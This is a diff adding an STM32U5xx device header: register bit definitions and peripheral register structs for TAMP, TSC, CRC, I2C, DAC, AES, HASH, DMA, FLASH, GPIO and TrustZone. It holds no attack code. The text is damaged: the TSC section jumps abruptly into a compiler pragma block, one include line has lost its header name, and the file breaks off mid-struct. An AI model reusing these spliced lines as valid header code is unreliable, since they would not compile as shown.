TAMP_BKP12R_Msk (0xFFFFFFFFUL << TAMP_BKP12R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP12R TAMP_BKP12R_Msk + +/******************** Bits definition for TAMP_BKP13R register ***************/ +#define TAMP_BKP13R_Pos (0UL) +#define TAMP_BKP13R_Msk (0xFFFFFFFFUL << TAMP_BKP13R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP13R TAMP_BKP13R_Msk + +/******************** Bits definition for TAMP_BKP14R register ***************/ +#define TAMP_BKP14R_Pos (0UL) +#define TAMP_BKP14R_Msk (0xFFFFFFFFUL << TAMP_BKP14R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP14R TAMP_BKP14R_Msk + +/******************** Bits definition for TAMP_BKP15R register ***************/ +#define TAMP_BKP15R_Pos (0UL) +#define TAMP_BKP15R_Msk (0xFFFFFFFFUL << TAMP_BKP15R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP15R TAMP_BKP15R_Msk + +/******************** Bits definition for TAMP_BKP16R register ***************/ +#define TAMP_BKP16R_Pos (0UL) +#define TAMP_BKP16R_Msk (0xFFFFFFFFUL << TAMP_BKP16R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP16R TAMP_BKP16R_Msk + +/******************** Bits definition for TAMP_BKP17R register ***************/ +#define TAMP_BKP17R_Pos (0UL) +#define TAMP_BKP17R_Msk (0xFFFFFFFFUL << TAMP_BKP17R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP17R TAMP_BKP17R_Msk + +/******************** Bits definition for TAMP_BKP18R register ***************/ +#define TAMP_BKP18R_Pos (0UL) +#define TAMP_BKP18R_Msk (0xFFFFFFFFUL << TAMP_BKP18R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP18R TAMP_BKP18R_Msk + +/******************** Bits definition for TAMP_BKP19R register ***************/ +#define TAMP_BKP19R_Pos (0UL) +#define TAMP_BKP19R_Msk (0xFFFFFFFFUL << TAMP_BKP19R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP19R TAMP_BKP19R_Msk + +/******************** Bits definition for TAMP_BKP20R register ***************/ +#define TAMP_BKP20R_Pos (0UL) +#define TAMP_BKP20R_Msk (0xFFFFFFFFUL << TAMP_BKP20R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP20R TAMP_BKP20R_Msk + +/******************** Bits definition for TAMP_BKP21R register ***************/ +#define TAMP_BKP21R_Pos (0UL) +#define TAMP_BKP21R_Msk (0xFFFFFFFFUL << TAMP_BKP21R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP21R TAMP_BKP21R_Msk + +/******************** Bits definition for TAMP_BKP22R register ***************/ +#define TAMP_BKP22R_Pos (0UL) +#define TAMP_BKP22R_Msk (0xFFFFFFFFUL << TAMP_BKP22R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP22R TAMP_BKP22R_Msk + +/******************** Bits definition for TAMP_BKP23R register ***************/ +#define TAMP_BKP23R_Pos (0UL) +#define TAMP_BKP23R_Msk (0xFFFFFFFFUL << TAMP_BKP23R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP23R TAMP_BKP23R_Msk + +/******************** Bits definition for TAMP_BKP24R register ***************/ +#define TAMP_BKP24R_Pos (0UL) +#define TAMP_BKP24R_Msk (0xFFFFFFFFUL << TAMP_BKP24R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP24R TAMP_BKP24R_Msk + +/******************** Bits definition for TAMP_BKP25R register ***************/ +#define TAMP_BKP25R_Pos (0UL) +#define TAMP_BKP25R_Msk (0xFFFFFFFFUL << TAMP_BKP25R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP25R TAMP_BKP25R_Msk + +/******************** Bits definition for TAMP_BKP26R register ***************/ +#define TAMP_BKP26R_Pos (0UL) +#define TAMP_BKP26R_Msk (0xFFFFFFFFUL << TAMP_BKP26R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP26R TAMP_BKP26R_Msk + +/******************** Bits definition for TAMP_BKP27R register ***************/ +#define TAMP_BKP27R_Pos (0UL) +#define TAMP_BKP27R_Msk (0xFFFFFFFFUL << TAMP_BKP27R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP27R TAMP_BKP27R_Msk + +/******************** Bits definition for TAMP_BKP28R register ***************/ +#define TAMP_BKP28R_Pos (0UL) +#define TAMP_BKP28R_Msk (0xFFFFFFFFUL << TAMP_BKP28R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP28R TAMP_BKP28R_Msk + +/******************** Bits definition for TAMP_BKP29R register ***************/ +#define TAMP_BKP29R_Pos (0UL) +#define TAMP_BKP29R_Msk (0xFFFFFFFFUL << TAMP_BKP29R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP29R TAMP_BKP29R_Msk + +/******************** Bits definition for TAMP_BKP30R register ***************/ +#define TAMP_BKP30R_Pos (0UL) +#define TAMP_BKP30R_Msk (0xFFFFFFFFUL << TAMP_BKP30R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP30R TAMP_BKP30R_Msk + +/******************** Bits definition for TAMP_BKP31R register ***************/ +#define TAMP_BKP31R_Pos (0UL) +#define TAMP_BKP31R_Msk (0xFFFFFFFFUL << TAMP_BKP31R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP31R TAMP_BKP31R_Msk + +/******************************************************************************/ +/* */ +/* Touch Sensing Controller (TSC) */ +/* */ +/******************************************************************************/ +/******************* Bit definition for TSC_CR register *********************/ +#define TSC_CR_TSCE_Pos (0UL) +#define TSC_CR_TSCE_Msk (0x1UL << TSC_CR_TSCE_Pos) /*!< 0x00000001 */ +#define TSC_CR_TSCE TSC_CR_TSCE_Msk /*!= 6010050) + #pragma clang diagnostic push + #pragma clang diagnostic ignored "-Wc11-extensions" + #pragma clang diagnostic ignored "-Wreserved-id-macro" +#elif defined (__GNUC__) + /* anonymous unions are enabled by default */ +#elif defined (__TMS470__) + /* anonymous unions are enabled by default */ +#elif defined (__TASKING__) + #pragma warning 586 +#elif defined (__CSMC__) + /* anonymous unions are enabled by default */ +#else + #warning Not supported compiler type +#endif + +/* -------- Configuration of the Cortex-M33 Processor and Core Peripherals ------ */ +#define __CM33_REV 0x0000U /* Core revision r0p1 */ +#define __SAUREGION_PRESENT 1U /* SAU regions present */ +#define __MPU_PRESENT 1U /* MPU present */ +#define __VTOR_PRESENT 1U /* VTOR present */ +#define __NVIC_PRIO_BITS 4U /* Number of Bits used for Priority Levels */ +#define __Vendor_SysTickConfig 0U /* Set to 1 if different SysTick Config is used */ +#define __FPU_PRESENT 1U /* FPU present */ +#define __DSP_PRESENT 1U /* DSP extension present */ + +/** @} */ /* End of group Configuration_of_CMSIS */ + +#include /*!< ARM Cortex-M33 processor and core peripherals */ +#include "system_stm32u5xx.h" /*!< STM32U5xx System */ + + +/* =========================================================================================================================== */ +/* ================ Device Specific Peripheral Section ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32U5xx_peripherals + * @{ + */ + +/** + * @brief CRC calculation unit + */ +typedef struct +{ + __IO uint32_t DR; /*!< CRC Data register, Address offset: 0x00 */ + __IO uint32_t IDR; /*!< CRC Independent data register, Address offset: 0x04 */ + __IO uint32_t CR; /*!< CRC Control register, Address offset: 0x08 */ + uint32_t RESERVED2; /*!< Reserved, 0x0C */ + __IO uint32_t INIT; /*!< Initial CRC value register, Address offset: 0x10 */ + __IO uint32_t POL; /*!< CRC polynomial register, Address offset: 0x14 */ +} CRC_TypeDef; + +/** + * @brief Inter-integrated Circuit Interface + */ +typedef struct +{ + __IO uint32_t CR1; /*!< I2C Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< I2C Control register 2, Address offset: 0x04 */ + __IO uint32_t OAR1; /*!< I2C Own address 1 register, Address offset: 0x08 */ + __IO uint32_t OAR2; /*!< I2C Own address 2 register, Address offset: 0x0C */ + __IO uint32_t TIMINGR; /*!< I2C Timing register, Address offset: 0x10 */ + __IO uint32_t TIMEOUTR; /*!< I2C Timeout register, Address offset: 0x14 */ + __IO uint32_t ISR; /*!< I2C Interrupt and status register, Address offset: 0x18 */ + __IO uint32_t ICR; /*!< I2C Interrupt clear register, Address offset: 0x1C */ + __IO uint32_t PECR; /*!< I2C PEC register, Address offset: 0x20 */ + __IO uint32_t RXDR; /*!< I2C Receive data register, Address offset: 0x24 */ + __IO uint32_t TXDR; /*!< I2C Transmit data register, Address offset: 0x28 */ + __IO uint32_t AUTOCR; +} I2C_TypeDef; + +/** + * @brief DAC + */ +typedef struct +{ + __IO uint32_t CR; /*!< DAC control register, Address offset: 0x00 */ + __IO uint32_t SWTRIGR; /*!< DAC software trigger register, Address offset: 0x04 */ + __IO uint32_t DHR12R1; /*!< DAC channel1 12-bit right-aligned data holding register, Address offset: 0x08 */ + __IO uint32_t DHR12L1; /*!< DAC channel1 12-bit left aligned data holding register, Address offset: 0x0C */ + __IO uint32_t DHR8R1; /*!< DAC channel1 8-bit right aligned data holding register, Address offset: 0x10 */ + __IO uint32_t DHR12R2; /*!< DAC channel2 12-bit right aligned data holding register, Address offset: 0x14 */ + __IO uint32_t DHR12L2; /*!< DAC channel2 12-bit left aligned data holding register, Address offset: 0x18 */ + __IO uint32_t DHR8R2; /*!< DAC channel2 8-bit right-aligned data holding register, Address offset: 0x1C */ + __IO uint32_t DHR12RD; /*!< Dual DAC 12-bit right-aligned data holding register, Address offset: 0x20 */ + __IO uint32_t DHR12LD; /*!< DUAL DAC 12-bit left aligned data holding register, Address offset: 0x24 */ + __IO uint32_t DHR8RD; /*!< DUAL DAC 8-bit right aligned data holding register, Address offset: 0x28 */ + __IO uint32_t DOR1; /*!< DAC channel1 data output register, Address offset: 0x2C */ + __IO uint32_t DOR2; /*!< DAC channel2 data output register, Address offset: 0x30 */ + __IO uint32_t SR; /*!< DAC status register, Address offset: 0x34 */ + __IO uint32_t CCR; /*!< DAC calibration control register, Address offset: 0x38 */ + __IO uint32_t MCR; /*!< DAC mode control register, Address offset: 0x3C */ + __IO uint32_t SHSR1; /*!< DAC Sample and Hold sample time register 1, Address offset: 0x40 */ + __IO uint32_t SHSR2; /*!< DAC Sample and Hold sample time register 2, Address offset: 0x44 */ + __IO uint32_t SHHR; /*!< DAC Sample and Hold hold time register, Address offset: 0x48 */ + __IO uint32_t SHRR; /*!< DAC Sample and Hold refresh time register, Address offset: 0x4C */ + __IO uint32_t RESERVED[1]; + __IO uint32_t AUTOCR; /*!< DAC Autonomous mode register, Address offset: 0x54 */ +} DAC_TypeDef; + +/** + * @brief Clock Recovery System + */ +typedef struct +{ +__IO uint32_t CR; /*!< CRS ccontrol register, Address offset: 0x00 */ +__IO uint32_t CFGR; /*!< CRS configuration register, Address offset: 0x04 */ +__IO uint32_t ISR; /*!< CRS interrupt and status register, Address offset: 0x08 */ +__IO uint32_t ICR; /*!< CRS interrupt flag clear register, Address offset: 0x0C */ +} CRS_TypeDef; + +/** + * @brief AES hardware accelerator + */ +typedef struct +{ + __IO uint32_t CR; /*!< AES control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< AES status register, Address offset: 0x04 */ + __IO uint32_t DINR; /*!< AES data input register, Address offset: 0x08 */ + __IO uint32_t DOUTR; /*!< AES data output register, Address offset: 0x0C */ + __IO uint32_t KEYR0; /*!< AES key register 0, Address offset: 0x10 */ + __IO uint32_t KEYR1; /*!< AES key register 1, Address offset: 0x14 */ + __IO uint32_t KEYR2; /*!< AES key register 2, Address offset: 0x18 */ + __IO uint32_t KEYR3; /*!< AES key register 3, Address offset: 0x1C */ + __IO uint32_t IVR0; /*!< AES initialization vector register 0, Address offset: 0x20 */ + __IO uint32_t IVR1; /*!< AES initialization vector register 1, Address offset: 0x24 */ + __IO uint32_t IVR2; /*!< AES initialization vector register 2, Address offset: 0x28 */ + __IO uint32_t IVR3; /*!< AES initialization vector register 3, Address offset: 0x2C */ + __IO uint32_t KEYR4; /*!< AES key register 4, Address offset: 0x30 */ + __IO uint32_t KEYR5; /*!< AES key register 5, Address offset: 0x34 */ + __IO uint32_t KEYR6; /*!< AES key register 6, Address offset: 0x38 */ + __IO uint32_t KEYR7; /*!< AES key register 7, Address offset: 0x3C */ + __IO uint32_t SUSP0R; /*!< AES Suspend register 0, Address offset: 0x40 */ + __IO uint32_t SUSP1R; /*!< AES Suspend register 1, Address offset: 0x44 */ + __IO uint32_t SUSP2R; /*!< AES Suspend register 2, Address offset: 0x48 */ + __IO uint32_t SUSP3R; /*!< AES Suspend register 3, Address offset: 0x4C */ + __IO uint32_t SUSP4R; /*!< AES Suspend register 4, Address offset: 0x50 */ + __IO uint32_t SUSP5R; /*!< AES Suspend register 5, Address offset: 0x54 */ + __IO uint32_t SUSP6R; /*!< AES Suspend register 6, Address offset: 0x58 */ + __IO uint32_t SUSP7R; /*!< AES Suspend register 7, Address offset: 0x5C */ + uint32_t RESERVED1[168];/*!< Reserved, Address offset: 0x60 -- 0x2FC */ + __IO uint32_t IER; /*!< AES Interrupt Enable Register, Address offset: 0x300 */ + __IO uint32_t ISR; /*!< AES Interrupt Status Register, Address offset: 0x304 */ + __IO uint32_t ICR; /*!< AES Interrupt Clear Register, Address offset: 0x308 */ +} AES_TypeDef; + +/** + * @brief HASH + */ +typedef struct +{ + __IO uint32_t CR; /*!< HASH control register, Address offset: 0x00 */ + __IO uint32_t DIN; /*!< HASH data input register, Address offset: 0x04 */ + __IO uint32_t STR; /*!< HASH start register, Address offset: 0x08 */ + __IO uint32_t HR[5]; /*!< HASH digest registers, Address offset: 0x0C-0x1C */ + __IO uint32_t IMR; /*!< HASH interrupt enable register, Address offset: 0x20 */ + __IO uint32_t SR; /*!< HASH status register, Address offset: 0x24 */ + uint32_t RESERVED[52]; /*!< Reserved, 0x28-0xF4 */ + __IO uint32_t CSR[54]; /*!< HASH context swap registers, Address offset: 0x0F8-0x1CC */ +} HASH_TypeDef; + +/** + * @brief HASH_DIGEST + */ +typedef struct +{ + __IO uint32_t HR[8]; /*!< HASH digest registers, Address offset: 0x310-0x32C */ +} HASH_DIGEST_TypeDef; + +/** + * @brief RNG + */ +typedef struct +{ + __IO uint32_t CR; /*!< RNG control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< RNG status register, Address offset: 0x04 */ + __IO uint32_t DR; /*!< RNG data register, Address offset: 0x08 */ + __IO uint32_t NSCR; /*!< RNG noise source control register , Address offset: 0x0C */ + __IO uint32_t HTCR; /*!< RNG health test configuration register, Address offset: 0x10 */ +} RNG_TypeDef; + +/** + * @brief Debug MCU + */ +typedef struct +{ + __IO uint32_t IDCODE; /*!< MCU device ID code, Address offset: 0x00 */ + __IO uint32_t CR; /*!< Debug MCU configuration register, Address offset: 0x04 */ + __IO uint32_t APB1FZR1; /*!< Debug MCU APB1 freeze register 1, Address offset: 0x08 */ + __IO uint32_t APB1FZR2; /*!< Debug MCU APB1 freeze register 2, Address offset: 0x0C */ + __IO uint32_t APB2FZR; /*!< Debug MCU APB2 freeze register, Address offset: 0x10 */ + __IO uint32_t APB3FZR; /*!< Debug MCU APB3 freeze register, Address offset: 0x14 */ + uint32_t RESERVED1[2];/*!< Reserved, 0x18 - 0x1C */ + __IO uint32_t AHB1FZR; /*!< Debug MCU AHB1 freeze register, Address offset: 0x20 */ + uint32_t RESERVED2; /*!< Reserved, 0x24 */ + __IO uint32_t AHB3FZR; /*!< Debug MCU AHB3 freeze register, Address offset: 0x28 */ +} DBGMCU_TypeDef; + +/** + * @brief DCMI + */ +typedef struct +{ + __IO uint32_t CR; /*!< DCMI control register 1, Address offset: 0x00 */ + __IO uint32_t SR; /*!< DCMI status register, Address offset: 0x04 */ + __IO uint32_t RISR; /*!< DCMI raw interrupt status register, Address offset: 0x08 */ + __IO uint32_t IER; /*!< DCMI interrupt enable register, Address offset: 0x0C */ + __IO uint32_t MISR; /*!< DCMI masked interrupt status register, Address offset: 0x10 */ + __IO uint32_t ICR; /*!< DCMI interrupt clear register, Address offset: 0x14 */ + __IO uint32_t ESCR; /*!< DCMI embedded synchronization code register, Address offset: 0x18 */ + __IO uint32_t ESUR; /*!< DCMI embedded synchronization unmask register, Address offset: 0x1C */ + __IO uint32_t CWSTRTR; /*!< DCMI crop window start, Address offset: 0x20 */ + __IO uint32_t CWSIZER; /*!< DCMI crop window size, Address offset: 0x24 */ + __IO uint32_t DR; /*!< DCMI data register, Address offset: 0x28 */ +} DCMI_TypeDef; + +/** + * @brief DMA Controller + */ +typedef struct +{ + __IO uint32_t SECCFGR; /*!< DMA secure configuration register, Address offset: 0x00 */ + __IO uint32_t PRIVCFGR; /*!< DMA privileged configuration register, Address offset: 0x04 */ + __IO uint32_t RCFGLOCKR; /*!< DMA lock configuration register, Address offset: 0x08 */ + __IO uint32_t MISR; /*!< DMA non secure masked interrupt status register, Address offset: 0x0C */ + __IO uint32_t SMISR; /*!< DMA secure masked interrupt status register, Address offset: 0x10 */ +} DMA_TypeDef; + +typedef struct +{ + __IO uint32_t CLBAR; /*!< DMA channel x linked-list base address register, Address offset: 0x50 + (x * 0x80) */ + uint32_t RESERVED1[2]; /*!< Reserved 1, Address offset: 0x54 -- 0x58 */ + __IO uint32_t CFCR; /*!< DMA channel x flag clear register, Address offset: 0x5C + (x * 0x80) */ + __IO uint32_t CSR; /*!< DMA channel x flag status register, Address offset: 0x60 + (x * 0x80) */ + __IO uint32_t CCR; /*!< DMA channel x control register, Address offset: 0x64 + (x * 0x80) */ + uint32_t RESERVED2[10];/*!< Reserved 2, Address offset: 0x68 -- 0x8C */ + __IO uint32_t CTR1; /*!< DMA channel x transfer register 1, Address offset: 0x90 + (x * 0x80) */ + __IO uint32_t CTR2; /*!< DMA channel x transfer register 2, Address offset: 0x94 + (x * 0x80) */ + __IO uint32_t CBR1; /*!< DMA channel x block register 1, Address offset: 0x98 + (x * 0x80) */ + __IO uint32_t CSAR; /*!< DMA channel x source address register, Address offset: 0x9C + (x * 0x80) */ + __IO uint32_t CDAR; /*!< DMA channel x destination address register, Address offset: 0xA0 + (x * 0x80) */ + __IO uint32_t CTR3; /*!< DMA channel x transfer register 3, Address offset: 0xA4 + (x * 0x80) */ + __IO uint32_t CBR2; /*!< DMA channel x block register 2, Address offset: 0xA8 + (x * 0x80) */ + uint32_t RESERVED3[8]; /*!< Reserved 3, Address offset: 0xAC -- 0xC8 */ + __IO uint32_t CLLR; /*!< DMA channel x linked-list address register, Address offset: 0xCC + (x * 0x80) */ +} DMA_Channel_TypeDef; + +/** + * @brief DMA2D Controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< DMA2D Control Register, Address offset: 0x00 */ + __IO uint32_t ISR; /*!< DMA2D Interrupt Status Register, Address offset: 0x04 */ + __IO uint32_t IFCR; /*!< DMA2D Interrupt Flag Clear Register, Address offset: 0x08 */ + __IO uint32_t FGMAR; /*!< DMA2D Foreground Memory Address Register, Address offset: 0x0C */ + __IO uint32_t FGOR; /*!< DMA2D Foreground Offset Register, Address offset: 0x10 */ + __IO uint32_t BGMAR; /*!< DMA2D Background Memory Address Register, Address offset: 0x14 */ + __IO uint32_t BGOR; /*!< DMA2D Background Offset Register, Address offset: 0x18 */ + __IO uint32_t FGPFCCR; /*!< DMA2D Foreground PFC Control Register, Address offset: 0x1C */ + __IO uint32_t FGCOLR; /*!< DMA2D Foreground Color Register, Address offset: 0x20 */ + __IO uint32_t BGPFCCR; /*!< DMA2D Background PFC Control Register, Address offset: 0x24 */ + __IO uint32_t BGCOLR; /*!< DMA2D Background Color Register, Address offset: 0x28 */ + __IO uint32_t FGCMAR; /*!< DMA2D Foreground CLUT Memory Address Register, Address offset: 0x2C */ + __IO uint32_t BGCMAR; /*!< DMA2D Background CLUT Memory Address Register, Address offset: 0x30 */ + __IO uint32_t OPFCCR; /*!< DMA2D Output PFC Control Register, Address offset: 0x34 */ + __IO uint32_t OCOLR; /*!< DMA2D Output Color Register, Address offset: 0x38 */ + __IO uint32_t OMAR; /*!< DMA2D Output Memory Address Register, Address offset: 0x3C */ + __IO uint32_t OOR; /*!< DMA2D Output Offset Register, Address offset: 0x40 */ + __IO uint32_t NLR; /*!< DMA2D Number of Line Register, Address offset: 0x44 */ + __IO uint32_t LWR; /*!< DMA2D Line Watermark Register, Address offset: 0x48 */ + __IO uint32_t AMTCR; /*!< DMA2D AHB Master Timer Configuration Register, Address offset: 0x4C */ + uint32_t RESERVED[236]; /*!< Reserved, 0x50-0x3FC */ + __IO uint32_t FGCLUT[256]; /*!< DMA2D Foreground CLUT, Address offset:400-7FC */ + __IO uint32_t BGCLUT[256]; /*!< DMA2D Background CLUT, Address offset:800-BFC */ +} DMA2D_TypeDef; + +/** + * @brief Asynch Interrupt/Event Controller (EXTI) + */ +typedef struct +{ + __IO uint32_t RTSR1; /*!< EXTI Rising Trigger Selection Register 1, Address offset: 0x00 */ + __IO uint32_t FTSR1; /*!< EXTI Falling Trigger Selection Register 1, Address offset: 0x04 */ + __IO uint32_t SWIER1; /*!< EXTI Software Interrupt event Register 1, Address offset: 0x08 */ + __IO uint32_t RPR1; /*!< EXTI Rising Pending Register 1, Address offset: 0x0C */ + __IO uint32_t FPR1; /*!< EXTI Falling Pending Register 1, Address offset: 0x10 */ + __IO uint32_t SECCFGR1; /*!< EXTI Security Configuration Register 1, Address offset: 0x14 */ + __IO uint32_t PRIVCFGR1; /*!< EXTI Privilege Configuration Register 1, Address offset: 0x18 */ + uint32_t RESERVED1[17]; /*!< Reserved 1, 0x1C -- 0x5C */ + __IO uint32_t EXTICR[4]; /*!< EXIT External Interrupt Configuration Register, 0x60 -- 0x6C */ + __IO uint32_t LOCKR; /*!< EXTI Lock Register, Address offset: 0x70 */ + uint32_t RESERVED2[3]; /*!< Reserved 2, 0x74 -- 0x7C */ + __IO uint32_t IMR1; /*!< EXTI Interrupt Mask Register 1, Address offset: 0x80 */ + __IO uint32_t EMR1; /*!< EXTI Event Mask Register 1, Address offset: 0x84 */ +} EXTI_TypeDef; + +/** + * @brief FLASH Registers + */ +typedef struct +{ + __IO uint32_t ACR; /*!< FLASH access control register, Address offset: 0x00 */ + uint32_t RESERVED1; /*!< Reserved1, Address offset: 0x04 */ + __IO uint32_t NSKEYR; /*!< FLASH non-secure key register, Address offset: 0x08 */ + __IO uint32_t SECKEYR; /*!< FLASH secure key register, Address offset: 0x0C */ + __IO uint32_t OPTKEYR; /*!< FLASH option key register, Address offset: 0x10 */ + __IO uint32_t RESERVED2; /*!< Reserved2, Address offset: 0x14 */ + __IO uint32_t PDKEY1R; /*!< FLASH Bank 1 power-down key register, Address offset: 0x18 */ + __IO uint32_t PDKEY2R; /*!< FLASH Bank 2 power-down key register, Address offset: 0x1C */ + __IO uint32_t NSSR; /*!< FLASH non-secure status register, Address offset: 0x20 */ + __IO uint32_t SECSR; /*!< FLASH secure status register, Address offset: 0x24 */ + __IO uint32_t NSCR; /*!< FLASH non-secure control register, Address offset: 0x28 */ + __IO uint32_t SECCR; /*!< FLASH secure control register, Address offset: 0x2C */ + __IO uint32_t ECCR; /*!< FLASH ECC register, Address offset: 0x30 */ + __IO uint32_t OPSR; /*!< FLASH OPSR register, Address offset: 0x34 */ + uint32_t RESERVED3[2]; /*!< Reserved3, Address offset: 0x38-0x3C */ + __IO uint32_t OPTR; /*!< FLASH option control register, Address offset: 0x40 */ + __IO uint32_t NSBOOTADD0R; /*!< FLASH non-secure boot address 0 register, Address offset: 0x44 */ + __IO uint32_t NSBOOTADD1R; /*!< FLASH non-secure boot address 1 register, Address offset: 0x48 */ + __IO uint32_t SECBOOTADD0R; /*!< FLASH secure boot address 0 register, Address offset: 0x4C */ + __IO uint32_t SECWM1R1; /*!< FLASH secure watermark1 register 1, Address offset: 0x50 */ + __IO uint32_t SECWM1R2; /*!< FLASH secure watermark1 register 2, Address offset: 0x54 */ + __IO uint32_t WRP1AR; /*!< FLASH WRP1 area A address register, Address offset: 0x58 */ + __IO uint32_t WRP1BR; /*!< FLASH WRP1 area B address register, Address offset: 0x5C */ + __IO uint32_t SECWM2R1; /*!< FLASH secure watermark2 register 1, Address offset: 0x60 */ + __IO uint32_t SECWM2R2; /*!< FLASH secure watermark2 register 2, Address offset: 0x64 */ + __IO uint32_t WRP2AR; /*!< FLASH WRP2 area A address register, Address offset: 0x68 */ + __IO uint32_t WRP2BR; /*!< FLASH WRP2 area B address register, Address offset: 0x6C */ + __IO uint32_t OEM1KEYR1; /*!< FLASH OEM1 key register 1, Address offset: 0x70 */ + __IO uint32_t OEM1KEYR2; /*!< FLASH OEM1 key register 2, Address offset: 0x74 */ + __IO uint32_t OEM2KEYR1; /*!< FLASH OEM2 key register 1, Address offset: 0x78 */ + __IO uint32_t OEM2KEYR2; /*!< FLASH OEM2 key register 2, Address offset: 0x7C */ + __IO uint32_t SECBB1R1; /*!< FLASH secure block-based bank 1 register 1, Address offset: 0x80 */ + __IO uint32_t SECBB1R2; /*!< FLASH secure block-based bank 1 register 2, Address offset: 0x84 */ + __IO uint32_t SECBB1R3; /*!< FLASH secure block-based bank 1 register 3, Address offset: 0x88 */ + __IO uint32_t SECBB1R4; /*!< FLASH secure block-based bank 1 register 4, Address offset: 0x8C */ + uint32_t RESERVED4[4]; /*!< Reserved4, Address offset: 0x90-0x9C */ + __IO uint32_t SECBB2R1; /*!< FLASH secure block-based bank 2 register 1, Address offset: 0xA0 */ + __IO uint32_t SECBB2R2; /*!< FLASH secure block-based bank 2 register 2, Address offset: 0xA4 */ + __IO uint32_t SECBB2R3; /*!< FLASH secure block-based bank 2 register 3, Address offset: 0xA8 */ + __IO uint32_t SECBB2R4; /*!< FLASH secure block-based bank 2 register 4, Address offset: 0xAC */ + uint32_t RESERVED5[4]; /*!< Reserved5, Address offset: 0xB0-0xBC */ + __IO uint32_t SECHDPCR; /*!< FLASH secure HDP control register, Address offset: 0xC0 */ + __IO uint32_t PRIVCFGR; /*!< FLASH privilege configuration register, Address offset: 0xC4 */ + uint32_t RESERVED6[2]; /*!< Reserved6, Address offset: 0xC8-0xCC */ + __IO uint32_t PRIVBB1R1; /*!< FLASH privilege block-based bank 1 register 1, Address offset: 0xD0 */ + __IO uint32_t PRIVBB1R2; /*!< FLASH privilege block-based bank 1 register 2, Address offset: 0xD4 */ + __IO uint32_t PRIVBB1R3; /*!< FLASH privilege block-based bank 1 register 3, Address offset: 0xD8 */ + __IO uint32_t PRIVBB1R4; /*!< FLASH privilege block-based bank 1 register 4, Address offset: 0xDC */ + uint32_t RESERVED7[4]; /*!< Reserved7, Address offset: 0xE0-0xEC */ + __IO uint32_t PRIVBB2R1; /*!< FLASH privilege block-based bank 2 register 1, Address offset: 0xF0 */ + __IO uint32_t PRIVBB2R2; /*!< FLASH privilege block-based bank 2 register 2, Address offset: 0xF4 */ + __IO uint32_t PRIVBB2R3; /*!< FLASH privilege block-based bank 2 register 3, Address offset: 0xF8 */ + __IO uint32_t PRIVBB2R4; /*!< FLASH privilege block-based bank 2 register 4, Address offset: 0xFC */ +} FLASH_TypeDef; + +/** + * @brief FMAC + */ +typedef struct +{ + __IO uint32_t X1BUFCFG; /*!< FMAC X1 Buffer Configuration register, Address offset: 0x00 */ + __IO uint32_t X2BUFCFG; /*!< FMAC X2 Buffer Configuration register, Address offset: 0x04 */ + __IO uint32_t YBUFCFG; /*!< FMAC Y Buffer Configuration register, Address offset: 0x08 */ + __IO uint32_t PARAM; /*!< FMAC Parameter register, Address offset: 0x0C */ + __IO uint32_t CR; /*!< FMAC Control register, Address offset: 0x10 */ + __IO uint32_t SR; /*!< FMAC Status register, Address offset: 0x14 */ + __IO uint32_t WDATA; /*!< FMAC Write Data register, Address offset: 0x18 */ + __IO uint32_t RDATA; /*!< FMAC Read Data register, Address offset: 0x1C */ +} FMAC_TypeDef; + +/** + * @brief General Purpose I/O + */ +typedef struct +{ + __IO uint32_t MODER; /*!< GPIO port mode register, Address offset: 0x00 */ + __IO uint32_t OTYPER; /*!< GPIO port output type register, Address offset: 0x04 */ + __IO uint32_t OSPEEDR; /*!< GPIO port output speed register, Address offset: 0x08 */ + __IO uint32_t PUPDR; /*!< GPIO port pull-up/pull-down register, Address offset: 0x0C */ + __IO uint32_t IDR; /*!< GPIO port input data register, Address offset: 0x10 */ + __IO uint32_t ODR; /*!< GPIO port output data register, Address offset: 0x14 */ + __IO uint32_t BSRR; /*!< GPIO port bit set/reset register, Address offset: 0x18 */ + __IO uint32_t LCKR; /*!< GPIO port configuration lock register, Address offset: 0x1C */ + __IO uint32_t AFR[2]; /*!< GPIO alternate function registers, Address offset: 0x20-0x24 */ + __IO uint32_t BRR; /*!< GPIO Bit Reset register, Address offset: 0x28 */ + __IO uint32_t HSLVR; /*!< GPIO high-speed low voltage register, Address offset: 0x2C */ + __IO uint32_t SECCFGR; /*!< GPIO secure configuration register, Address offset: 0x30 */ +} GPIO_TypeDef; + +/** + * @brief Global TrustZone Controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< TZSC control register, Address offset: 0x00 */ + uint32_t RESERVED1[3]; /*!< Reserved1, Address offset: 0x04-0x0C */ + __IO uint32_t SECCFGR1; /*!< TZSC secure configuration register 1, Address offset: 0x10 */ + __IO uint32_t SECCFGR2; /*!< TZSC secure configuration register 2, Address offset: 0x14 */ + __IO uint32_t SECCFGR3; /*!< TZSC secure configuration register 3, Address offset: 0x18 */ + uint32_t RESERVED2; /*!< Reserved2, Address offset: 0x1C */ + __IO uint32_t PRIVCFGR1; /*!< TZSC privilege configuration register 1, Address offset: 0x20 */ + __IO uint32_t PRIVCFGR2; /*!< TZSC privilege configuration register 2, Address offset: 0x24 */ + __IO uint32_t PRIVCFGR3; /*!< TZSC privilege configuration register 3, Address offset: 0x28 